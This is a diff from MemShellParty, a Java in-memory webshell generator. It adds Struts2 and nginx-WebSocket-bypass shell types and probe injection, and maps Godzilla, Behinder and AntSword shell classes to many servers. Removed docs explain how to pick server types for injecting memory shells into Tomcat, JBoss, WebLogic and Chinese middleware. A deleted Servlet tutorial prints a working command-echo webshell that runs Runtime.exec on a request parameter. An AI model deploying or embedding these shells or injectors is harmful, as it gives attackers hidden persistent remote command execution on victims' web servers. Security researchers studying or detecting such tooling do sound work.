publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
||||||
signAllPublications()
|
signAllPublications()
|
||||||
coordinates(
|
coordinates(
|
||||||
"io.github.reajason",
|
"io.github.reajason",
|
||||||
|
|||||||
@@ -9,10 +9,16 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.2.0"
|
version = "2.6.1"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
dependsOn(":packer:publishToMavenCentral")
|
dependsOn(":packer:publishToMavenCentral")
|
||||||
dependsOn(":generator:publishToMavenCentral")
|
dependsOn(":generator:publishToMavenCentral")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
tasks.register("publishAllToMavenLocal") {
|
||||||
|
dependsOn(":memshell-party-common:publishToMavenLocal")
|
||||||
|
dependsOn(":packer:publishToMavenLocal")
|
||||||
|
dependsOn(":generator:publishToMavenLocal")
|
||||||
|
}
|
||||||
@@ -36,9 +36,9 @@ What you can learn or try from this project:
|
|||||||
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||||
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
## Key Features
|
## Key Features
|
||||||
|
|
||||||
|
|||||||
@@ -1,130 +0,0 @@
|
|||||||
# Java 服务简介
|
|
||||||
|
|
||||||
以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty
|
|
||||||
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~
|
|
||||||
|
|
||||||
## Tomcat
|
|
||||||
|
|
||||||
> https://tomcat.apache.org/
|
|
||||||
|
|
||||||
Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat
|
|
||||||
内存马。
|
|
||||||
|
|
||||||
一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。
|
|
||||||
|
|
||||||
其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。
|
|
||||||
|
|
||||||
## Jetty
|
|
||||||
|
|
||||||
> https://jetty.org/
|
|
||||||
|
|
||||||
Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+
|
|
||||||
版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty
|
|
||||||
即可生成 Jetty 内存马。
|
|
||||||
|
|
||||||
在 SpringWebMVC 项目中也是有可能使用的。
|
|
||||||
|
|
||||||
## JBoss
|
|
||||||
|
|
||||||
> JBossAS: https://jbossas.jboss.org/downloads
|
|
||||||
|
|
||||||
> JBossEAP: https://developers.redhat.com/products/eap/download
|
|
||||||
|
|
||||||
JBoss 分为 JBossAS 和 JBossEAP,JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的
|
|
||||||
[Undertow](https://undertow.io/) 提供的 Servlets 实现。
|
|
||||||
|
|
||||||
因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择
|
|
||||||
Undertow 进行内存马的生成。
|
|
||||||
|
|
||||||
## Wildfly
|
|
||||||
|
|
||||||
> https://www.wildfly.org/
|
|
||||||
|
|
||||||
Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马
|
|
||||||
|
|
||||||
## GlassFish
|
|
||||||
|
|
||||||
> https://glassfish.org/
|
|
||||||
|
|
||||||
GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择
|
|
||||||
GlassFish 进行内存马的生成。
|
|
||||||
|
|
||||||
## Payara
|
|
||||||
|
|
||||||
> https://www.payara.fish/downloads/
|
|
||||||
|
|
||||||
基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。
|
|
||||||
|
|
||||||
## Resin
|
|
||||||
|
|
||||||
> https://caucho.com/products/resin/download
|
|
||||||
|
|
||||||
Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。
|
|
||||||
|
|
||||||
泛微 OA 使用的就是 Resin 提供的服务。
|
|
||||||
|
|
||||||
## WebLogic
|
|
||||||
|
|
||||||
> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
|
|
||||||
|
|
||||||
WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。
|
|
||||||
|
|
||||||
## WebSphere
|
|
||||||
|
|
||||||
> https://www.ibm.com/products/websphere-application-server
|
|
||||||
|
|
||||||
WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty,
|
|
||||||
包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。
|
|
||||||
|
|
||||||
## BES
|
|
||||||
|
|
||||||
> https://www.bessystem.com/
|
|
||||||
|
|
||||||
BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2
|
|
||||||
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择
|
|
||||||
BES 进行内存马的生成。
|
|
||||||
|
|
||||||
## TongWeb
|
|
||||||
|
|
||||||
> https://www.tongtech.com/sy.html
|
|
||||||
|
|
||||||
TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。
|
|
||||||
|
|
||||||
- TongWeb6: `com.tongweb.web.thor.`
|
|
||||||
- TongWeb7: `com.tongweb.catalina.`
|
|
||||||
- TongWeb8: `com.tongweb.server.`
|
|
||||||
|
|
||||||
这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。
|
|
||||||
|
|
||||||
## Apusic
|
|
||||||
|
|
||||||
> https://www.apusic.com/
|
|
||||||
|
|
||||||
金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
|
|
||||||
版本服务类型选择
|
|
||||||
Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。
|
|
||||||
|
|
||||||
## Primeton
|
|
||||||
|
|
||||||
> https://www.primeton.com/products/pas/
|
|
||||||
|
|
||||||
普元中间件,Primeton6.5 版本基于 GlassFish
|
|
||||||
二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持
|
|
||||||
Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。
|
|
||||||
|
|
||||||
## InforSuite
|
|
||||||
|
|
||||||
中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
|
|
||||||
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
|
|
||||||
|
|
||||||
## SpringWebMVC
|
|
||||||
|
|
||||||
Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets
|
|
||||||
容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择
|
|
||||||
SpringWebMVC 进行内存马生成。
|
|
||||||
|
|
||||||
## SpringWebFlux
|
|
||||||
|
|
||||||
Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择
|
|
||||||
SpringWebFlux 进行内存马生成。
|
|
||||||
|
|
||||||
|
Before Width: | Height: | Size: 174 KiB |
|
Before Width: | Height: | Size: 282 KiB |
|
Before Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 130 KiB |
|
Before Width: | Height: | Size: 326 KiB |
@@ -1,98 +0,0 @@
|
|||||||
# Java Servlet
|
|
||||||
|
|
||||||
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
|
|
||||||
|
|
||||||
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
|
|
||||||
|
|
||||||
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
|
|
||||||
|
|
||||||
## ServletContext
|
|
||||||
|
|
||||||
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
|
|
||||||
|
|
||||||
ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
|
|
||||||
|
|
||||||
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
|
|
||||||
|
|
||||||
```java
|
|
||||||
addServlet(String servletName, String className);
|
|
||||||
addServlet(String servletName, Servlet servlet);
|
|
||||||
addServlet(String servletName, Class <? extends Servlet> servletClass);
|
|
||||||
addFilter(String filterName, String className);
|
|
||||||
addFilter(String filterName, Filter filter);
|
|
||||||
addFilter(String filterName, Class <? extends Filter> filterClass);
|
|
||||||
void addListener(String className);
|
|
||||||
void addListener(T t);
|
|
||||||
void addListener(Class <? extends EventListener> listenerClass);
|
|
||||||
```
|
|
||||||
|
|
||||||
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
|
|
||||||
|
|
||||||
## HttpServlet
|
|
||||||
|
|
||||||
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
|
|
||||||
|
|
||||||
```java
|
|
||||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
```
|
|
||||||
|
|
||||||
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
|
|
||||||
|
|
||||||
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
|
|
||||||
|
|
||||||
```java
|
|
||||||
@WebServlet(”/foo”)
|
|
||||||
public class CalculatorServlet extends HttpServlet{
|
|
||||||
//...
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```xml
|
|
||||||
<servlet>
|
|
||||||
<servlet-name>foo</servlet-name>
|
|
||||||
<servlet-class>org.example.CalculatorServlet</servlet-class>
|
|
||||||
</servlet>
|
|
||||||
<servlet-mapping>
|
|
||||||
<servlet-name>foo</servlet-name>
|
|
||||||
<url-pattern>/foo</url-pattern>
|
|
||||||
</servlet-mapping>
|
|
||||||
```
|
|
||||||
|
|
||||||
## ServletShell
|
|
||||||
|
|
||||||
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
|
|
||||||
|
|
||||||
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
|
|
||||||
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
|
||||||
|
|
||||||
```java
|
|
||||||
public class CommandServlet extends HttpServlet {
|
|
||||||
public static String paramName;
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
|
||||||
doPost(req, resp);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
|
||||||
String cmd = request.getParameter(paramName);
|
|
||||||
if (cmd != null) {
|
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
|
||||||
InputStream inputStream = exec.getInputStream();
|
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
|
||||||
byte[] buf = new byte[8192];
|
|
||||||
int length;
|
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java-library")
|
||||||
alias(libs.plugins.lombok)
|
alias(libs.plugins.lombok)
|
||||||
id("maven-publish-convention")
|
id("maven-publish-convention")
|
||||||
}
|
}
|
||||||
@@ -29,17 +29,18 @@ tasks.test {
|
|||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":memshell-party-common"))
|
implementation(project(":memshell-party-common"))
|
||||||
implementation(project(":packer"))
|
implementation(project(":packer"))
|
||||||
implementation(libs.byte.buddy)
|
api(libs.byte.buddy)
|
||||||
implementation(libs.asm.commons)
|
implementation(libs.asm.commons)
|
||||||
implementation(libs.javax.websocket.api)
|
implementation(libs.javax.websocket.api)
|
||||||
|
implementation(libs.jakarta.websocket.client.api)
|
||||||
implementation(libs.javax.servlet.api)
|
implementation(libs.javax.servlet.api)
|
||||||
|
implementation(libs.jakarta.servlet.api)
|
||||||
implementation(libs.spring.webmvc)
|
implementation(libs.spring.webmvc)
|
||||||
implementation(libs.spring.webflux)
|
implementation(libs.spring.webflux)
|
||||||
implementation(libs.reactor.netty.core)
|
implementation(libs.reactor.netty.core)
|
||||||
|
implementation(libs.jackson.annotations)
|
||||||
implementation(libs.bundles.jna)
|
implementation(libs.bundles.jna)
|
||||||
implementation(libs.bcel)
|
|
||||||
implementation(libs.jackson.databind)
|
|
||||||
testImplementation(libs.junit.jupiter)
|
testImplementation(libs.junit.jupiter)
|
||||||
testImplementation(libs.hamcrest)
|
testImplementation(libs.hamcrest)
|
||||||
testRuntimeOnly(libs.junit.platform.launcher)
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
|
|||||||
@@ -20,4 +20,5 @@ public class Server {
|
|||||||
public static final String SpringWebMvc = "SpringWebMvc";
|
public static final String SpringWebMvc = "SpringWebMvc";
|
||||||
public static final String SpringWebFlux = "SpringWebFlux";
|
public static final String SpringWebFlux = "SpringWebFlux";
|
||||||
public static final String XXLJOB = "XXLJOB";
|
public static final String XXLJOB = "XXLJOB";
|
||||||
|
public static final String Struct2 = "Struct2";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,8 +5,15 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||||
|
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
@@ -46,14 +53,43 @@ public class MemShellGenerator {
|
|||||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (shellConfig.isLambdaSuffix()) {
|
||||||
|
shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
|
||||||
|
injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
|
||||||
|
}
|
||||||
|
|
||||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
injectorConfig.setInjectorClass(injectorClass);
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
injectorConfig.setShellClassBytes(shellBytes);
|
injectorConfig.setShellClassBytes(shellBytes);
|
||||||
|
|
||||||
|
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||||
|
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||||
|
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
||||||
|
}
|
||||||
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
byte[] injectorBytes = injectorGenerator.generate();
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
|
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.shellClassName(injectorConfig.getInjectorClassName() + "1")
|
||||||
|
.probeMethod(ProbeMethod.ResponseBody)
|
||||||
|
.probeContent(ProbeContent.Bytecode)
|
||||||
|
.targetJreVersion(shellConfig.getTargetJreVersion())
|
||||||
|
.byPassJavaModule(shellConfig.isByPassJavaModule())
|
||||||
|
.shrink(shellConfig.isShrink())
|
||||||
|
.debug(shellConfig.isDebug())
|
||||||
|
.staticInitialize(injectorConfig.isStaticInitialize())
|
||||||
|
.build();
|
||||||
|
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||||
|
.server(serverName)
|
||||||
|
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
|
||||||
|
.build();
|
||||||
|
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
|
||||||
|
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
|
||||||
|
}
|
||||||
|
|
||||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
|
|
||||||
return MemShellResult.builder()
|
return MemShellResult.builder()
|
||||||
|
|||||||
@@ -8,6 +8,8 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
@@ -44,6 +46,7 @@ public class ServerFactory {
|
|||||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||||
register(Server.XXLJOB, XxlJob::new);
|
register(Server.XXLJOB, XxlJob::new);
|
||||||
|
register(Server.Struct2, Struct2::new);
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
@@ -58,6 +61,8 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
@@ -69,10 +74,14 @@ public class ServerFactory {
|
|||||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
|
.addShellClass(HANDLER, GodzillaJettyHandler.class)
|
||||||
|
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
|
||||||
|
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
|
.addShellClass(ACTION, GodzillaStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
@@ -97,6 +106,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
|
.addShellClass(ACTION, BehinderStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
@@ -114,6 +124,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
|
.addShellClass(ACTION, AntSwordStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
@@ -129,6 +140,9 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(UPGRADE, CommandUpgrade.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
@@ -140,10 +154,14 @@ public class ServerFactory {
|
|||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||||
